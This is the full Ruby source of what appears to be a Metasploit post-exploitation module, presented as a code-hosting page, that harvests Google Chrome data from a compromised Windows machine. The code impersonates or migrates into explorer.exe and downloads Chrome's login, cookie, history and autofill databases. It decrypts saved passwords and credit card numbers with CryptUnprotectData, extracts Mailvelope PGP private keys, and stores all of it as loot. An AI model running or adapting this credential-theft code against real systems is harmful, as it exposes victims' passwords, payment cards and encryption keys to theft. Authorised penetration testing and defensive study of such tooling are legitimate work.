342 lines
11 KiB
Ruby
342 lines
11 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'rex'
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class MetasploitModule < Msf::Post
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include Msf::Post::File
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include Msf::Post::Windows::Priv
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def initialize(info={})
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super(update_info(info,
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'Name' => "Windows Gather Google Chrome User Data Enumeration",
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'Description' => %q{
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This module will collect user data from Google Chrome and attempt to decrypt
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sensitive information.
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},
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'License' => MSF_LICENSE,
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'Platform' => ['win'],
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'SessionTypes' => ['meterpreter'],
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'Author' =>
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[
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'Sven Taute', #Original (Meterpreter script)
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'sinn3r', #Metasploit post module
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'Kx499', #x64 support
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'mubix' #Parse extensions
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]
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))
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register_options(
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[
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OptBool.new('MIGRATE', [false, 'Automatically migrate to explorer.exe', false]),
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], self.class)
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end
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def extension_mailvelope_parse_key(data)
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return data.gsub("\x00","").tr("[]","").gsub("\\r","").gsub("\"","").gsub("\\n","\n")
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end
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def extension_mailvelope_store_key(name, value)
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return unless name =~ /(private|public)keys/i
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priv_or_pub = $1
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keys = value.split(",")
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print_good("==> Found #{keys.size} #{priv_or_pub} key(s)!")
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keys.each do |key|
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key_data = extension_mailvelope_parse_key(key)
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vprint_good(key_data)
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path = store_loot(
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"chrome.mailvelope.#{priv_or_pub}", "text/plain", session, key_data, "#{priv_or_pub}.key", "Mailvelope PGP #{priv_or_pub.capitalize} Key")
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print_status("==> Saving #{priv_or_pub} key to: #{path}")
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end
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end
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def extension_mailvelope(username, extname)
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chrome_path = @profiles_path + "\\" + username + @data_path
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maildb_path = chrome_path + "/Local Storage/chrome-extension_#{extname}_0.localstorage"
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if file_exist?(maildb_path) == false
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print_error("==> Mailvelope database not found")
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return
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end
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print_status("==> Downloading Mailvelope database...")
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local_path = store_loot("chrome.ext.mailvelope", "text/plain", session, "chrome_ext_mailvelope")
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session.fs.file.download_file(local_path, maildb_path)
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print_status("==> Downloaded to #{local_path}")
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maildb = SQLite3::Database.new(local_path)
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columns, *rows = maildb.execute2("select * from ItemTable;")
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maildb.close
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rows.each do |name, value|
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extension_mailvelope_store_key(name, value)
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end
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end
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def parse_prefs(username, filepath)
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prefs = ''
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File.open(filepath, 'rb') do |f|
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prefs = f.read
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end
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results = ActiveSupport::JSON.decode(prefs)
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if results['extensions']['settings']
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print_status("Extensions installed: ")
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results['extensions']['settings'].each do |name,values|
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if values['manifest']
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print_status("=> #{values['manifest']['name']}")
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if values['manifest']['name'] =~ /mailvelope/i
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print_good("==> Found Mailvelope extension, extracting PGP keys")
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extension_mailvelope(username, name)
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end
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end
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end
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end
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end
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def decrypt_data(data)
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rg = session.railgun
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pid = session.sys.process.open.pid
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process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
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mem = process.memory.allocate(1024)
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process.memory.write(mem, data)
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if session.sys.process.each_process.find { |i| i["pid"] == pid} ["arch"] == "x86"
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addr = [mem].pack("V")
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len = [data.length].pack("V")
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ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)
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len, addr = ret["pDataOut"].unpack("V2")
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else
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addr = [mem].pack("Q")
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len = [data.length].pack("Q")
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ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16)
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len, addr = ret["pDataOut"].unpack("Q2")
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end
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return "" if len == 0
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decrypted = process.memory.read(addr, len)
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return decrypted
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end
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def process_files(username)
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secrets = ""
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decrypt_table = Rex::Text::Table.new(
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"Header" => "Decrypted data",
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"Indent" => 1,
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"Columns" => ["Name", "Decrypted Data", "Origin"]
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)
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@chrome_files.each do |item|
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if item[:in_file] == "Preferences"
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parse_prefs(username, item[:raw_file])
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end
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next if item[:sql] == nil
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next if item[:raw_file] == nil
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db = SQLite3::Database.new(item[:raw_file])
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begin
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columns, *rows = db.execute2(item[:sql])
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rescue
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next
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end
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db.close
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rows.map! do |row|
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res = Hash[*columns.zip(row).flatten]
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if item[:encrypted_fields] && session.sys.config.getuid != "NT AUTHORITY\\SYSTEM"
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item[:encrypted_fields].each do |field|
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name = (res["name_on_card"] == nil) ? res["username_value"] : res["name_on_card"]
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origin = (res["label"] == nil) ? res["origin_url"] : res["label"]
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pass = res[field + "_decrypted"] = decrypt_data(res[field])
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if pass != nil and pass != ""
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decrypt_table << [name, pass, origin]
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secret = "#{name}:#{pass}..... #{origin}"
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secrets << secret << "\n"
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vprint_good("Decrypted data: #{secret}")
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end
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end
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end
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end
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end
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if secrets != ""
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path = store_loot("chrome.decrypted", "text/plain", session, decrypt_table.to_s, "decrypted_chrome_data.txt", "Decrypted Chrome Data")
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print_status("Decrypted data saved in: #{path}")
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end
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end
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def extract_data(username)
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#Prepare Chrome's path on remote machine
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chrome_path = @profiles_path + "\\" + username + @data_path
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raw_files = {}
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@chrome_files.map{ |e| e[:in_file] }.uniq.each do |f|
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remote_path = chrome_path + '\\' + f
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#Verify the path before downloading the file
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if file_exist?(remote_path) == false
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print_error("#{f} not found")
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next
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end
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# Store raw data
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local_path = store_loot("chrome.raw.#{f}", "text/plain", session, "chrome_raw_#{f}")
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raw_files[f] = local_path
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session.fs.file.download_file(local_path, remote_path)
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print_status("Downloaded #{f} to '#{local_path}'")
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end
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#Assign raw file paths to @chrome_files
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raw_files.each_pair do |raw_key, raw_path|
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@chrome_files.each do |item|
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if item[:in_file] == raw_key
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item[:raw_file] = raw_path
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end
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end
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end
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return true
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end
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def steal_token
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current_pid = session.sys.process.open.pid
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target_pid = session.sys.process["explorer.exe"]
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return if target_pid == current_pid
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if target_pid.to_s.empty?
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print_warning("No explorer.exe process to impersonate.")
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return
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end
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print_status("Impersonating token: #{target_pid}")
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begin
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session.sys.config.steal_token(target_pid)
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return true
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rescue Rex::Post::Meterpreter::RequestError => e
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print_error("Cannot impersonate: #{e.message.to_s}")
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return false
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end
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end
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def migrate(pid=nil)
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current_pid = session.sys.process.open.pid
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if pid != nil and current_pid != pid
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#PID is specified
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target_pid = pid
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print_status("current PID is #{current_pid}. Migrating to pid #{target_pid}")
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begin
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session.core.migrate(target_pid)
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rescue ::Exception => e
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print_error(e.message)
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return false
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end
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else
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#No PID specified, assuming to migrate to explorer.exe
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target_pid = session.sys.process["explorer.exe"]
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if target_pid != current_pid
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@old_pid = current_pid
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print_status("current PID is #{current_pid}. migrating into explorer.exe, PID=#{target_pid}...")
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begin
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session.core.migrate(target_pid)
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rescue ::Exception => e
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print_error(e)
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return false
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end
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end
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end
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return true
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end
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def run
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@chrome_files = [
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{ :raw => "", :in_file => "Web Data", :sql => "select * from autofill;"},
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{ :raw => "", :in_file => "Web Data", :sql => "SELECT username_value,origin_url,signon_realm FROM logins;"},
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{ :raw => "", :in_file => "Web Data", :sql => "select * from autofill_profiles;"},
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{ :raw => "", :in_file => "Web Data", :sql => "select * from credit_cards;", :encrypted_fields => ["card_number_encrypted"]},
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{ :raw => "", :in_file => "Cookies", :sql => "select * from cookies;"},
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{ :raw => "", :in_file => "History", :sql => "select * from urls;"},
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{ :raw => "", :in_file => "History", :sql => "SELECT url FROM downloads;"},
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{ :raw => "", :in_file => "History", :sql => "SELECT term FROM keyword_search_terms;"},
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{ :raw => "", :in_file => "Login Data", :sql => "select * from logins;", :encrypted_fields => ["password_value"]},
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{ :raw => "", :in_file => "Bookmarks", :sql => nil},
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{ :raw => "", :in_file => "Preferences", :sql => nil},
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]
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@old_pid = nil
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migrate_success = false
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# If we can impersonate a token, we use that first.
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# If we can't, we'll try to MIGRATE (more aggressive) if the user wants to
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got_token = steal_token
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if !got_token && datastore["MIGRATE"]
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migrate_success = migrate
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end
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host = session.session_host
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#Get Google Chrome user data path
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env_vars = session.sys.config.getenvs('SYSTEMDRIVE', 'USERNAME')
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sysdrive = env_vars['SYSTEMDRIVE'].strip
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if directory?("#{sysdrive}\\Users")
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@profiles_path = "#{sysdrive}/Users"
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@data_path = "\\AppData\\Local\\Google\\Chrome\\User Data\\Default"
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elsif directory?("#{sysdrive}\\Documents and Settings")
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@profiles_path = "#{sysdrive}/Documents and Settings"
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@data_path = "\\Local Settings\\Application Data\\Google\\Chrome\\User Data\\Default"
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end
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#Get user(s)
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usernames = []
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if is_system?
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print_status("Running as SYSTEM, extracting user list...")
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print_warning("(Automatic decryption will not be possible. You might want to manually migrate, or set \"MIGRATE=true\")")
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session.fs.dir.foreach(@profiles_path) do |u|
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not_actually_users = [
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".", "..", "All Users", "Default", "Default User", "Public", "desktop.ini",
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"LocalService", "NetworkService"
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]
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usernames << u unless not_actually_users.include?(u)
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end
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print_status "Users found: #{usernames.join(", ")}"
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else
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uid = session.sys.config.getuid
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print_status "Running as user '#{uid}'..."
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usernames << env_vars['USERNAME'].strip if env_vars['USERNAME']
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end
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has_sqlite3 = true
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begin
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require 'sqlite3'
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rescue LoadError
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print_warning("SQLite3 is not available, and we are not able to parse the database.")
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has_sqlite3 = false
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end
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#Process files for each username
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usernames.each do |u|
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print_status("Extracting data for user '#{u}'...")
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success = extract_data(u)
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process_files(u) if success and has_sqlite3
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end
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# Migrate back to the original process
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if datastore["MIGRATE"] && @old_pid && migrate_success
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print_status("Migrating back...")
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migrate(@old_pid)
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end
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end
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end
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